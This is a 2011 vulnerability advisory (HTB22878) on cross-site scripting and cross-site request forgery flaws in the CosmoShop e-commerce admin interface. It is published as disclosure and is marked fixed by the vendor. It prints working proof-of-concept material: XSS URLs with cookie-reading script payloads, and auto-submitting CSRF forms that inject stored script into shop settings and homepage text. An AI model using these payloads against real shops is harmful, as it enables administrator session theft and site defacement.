Multiple Vulnerabilities in CosmoShop
Advisory ID: | HTB22878 |
Product: | CosmoShop |
Vendor: | Zaunz Publishing GmbH |
Vulnerable Versions: | ePRO V10.05.00 and probably prior |
Tested Version: | ePRO V10.05.00 |
Advisory Publication: | February 24, 2011 [without technical details] |
Vendor Notification: | February 24, 2011 |
Public Disclosure: | March 10, 2011 |
Latest Update: | March 4, 2011 |
Vulnerability Type: | Cross-Site Scripting [CWE-79] Cross-Site Request Forgery [CWE-352] |
Risk Level: | Medium |
| |
CVSSv2 Base Scores: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) 4 (AV:N/AC:H/Au:N/C:N/I:P/A:P) |
Solution Status: | Fixed by Vendor |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in CosmoShop which can be exploited to perform cross-site scripting and cross-site request forgery attacks.
1) Cross-site scripting (XSS) vulnerabilities in CosmoShop 1.1 The vulnerability exists due to input sanitation error in the "rcopy" parameter in cgi-bin/admin/rubrikadmin.cgi. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation examples: http://host/cgi-bin/admin/rubrikadmin.cgi?action=edit&rubnum=angebote&rcopy= "><script>alert(document .cookie)</script>&expand=,angebote 1.2 The vulnerability exists due to input sanitation error in the "typ" parameters in cgi-bin/admin/artikeladmin.cgi. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: http://host/cgi-bin/admin/artikeladmin.cgi?action=artikelsuche&typ=bearbeite n"><script>alert(documen t.cookie)</script>&hId=daten.artikel 1.3 The vulnerability exists due to input sanitation error in the "suchbegriff" parameter in cgi-bin/admin/shophilfe_suche.cgi. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: http://host/cgi-bin/admin/shophilfe_suche.cgi?sprache=de&suchbegriff=1"><scr ipt>alert(document.cooki e)</script>
2) Cross-site request forgery (CSRF) vulnerabilities in CosmoShop 2.1 The vulnerability exists due to insufficient validation of the request origin in cgi-bin/admin/setup_edit.cgi. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "hauptwaehrung" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/cgi-bin/admin/setup_edit.cgi" method="post" name="main"> <input type="hidden" name="setup" value="allgemein"> <input type="hidden" name="hId" value="setup.einstellungen.allgemein"> <input type="hidden" name="setup_key" value="allgemein"> <input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x"> <input type="hidden" name="shopbetreiber" value="email@example.com"> <input type="hidden" name="shop_bestellempfaenger" value="email@example.com"> <input type="hidden" name="anfrage_mail" value="email@example.com"> <input type="hidden" name="shop_umstid" value="DE12345678"> <input type="hidden" name="shop_eg" value="1"> <input type="hidden" name="auftragszaehler" value="1"> <input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'> <input type="hidden" name="nebenwaehrung" value="$"> <input type="hidden" name="eurofaktor" value="0.7"> <input type="hidden" name="mindestpreisdm" value="10"> <input type="hidden" name="emis_bestellempfaenger" value=""> <input type="hidden" name="afs_bestellempfaenger" value=""> <input type="hidden" name="ean_in_ausf" value="1"> <input type="hidden" name="google_verify_code" value=""> <input type="hidden" name="save_it" value="abspeichern"> </form> <script> document.main.submit(); </script> 2.2 The vulnerability exists due to insufficient validation of the request origin in cgi-bin/admin/setup_edit.cgi. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify homepage. Due to insufficient sanitation of input data in the "text-de" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/cgi-bin/admin/edit_startseitentext.cgi" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="setup" value="allgemein"> <input type="hidden" name="action" value="save"> <input type="hidden" name="use_wwe" value="1"> <input type="hidden" name="file-de" value="startseitentext_de.txt"> <input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'> </form> <script> document .main.submit(); </script>
|
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Upgrade to the most recent version |
|
References: |
[1] High-Tech Bridge Advisory HTB22878 - https://www.immuniweb.com/advisory/HTB22878 - Multiple Vulnerabilities in CosmoShop [2] CosmoShop - cosmoshop.de – CosmoShop is an e-Commerce application for online shops. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.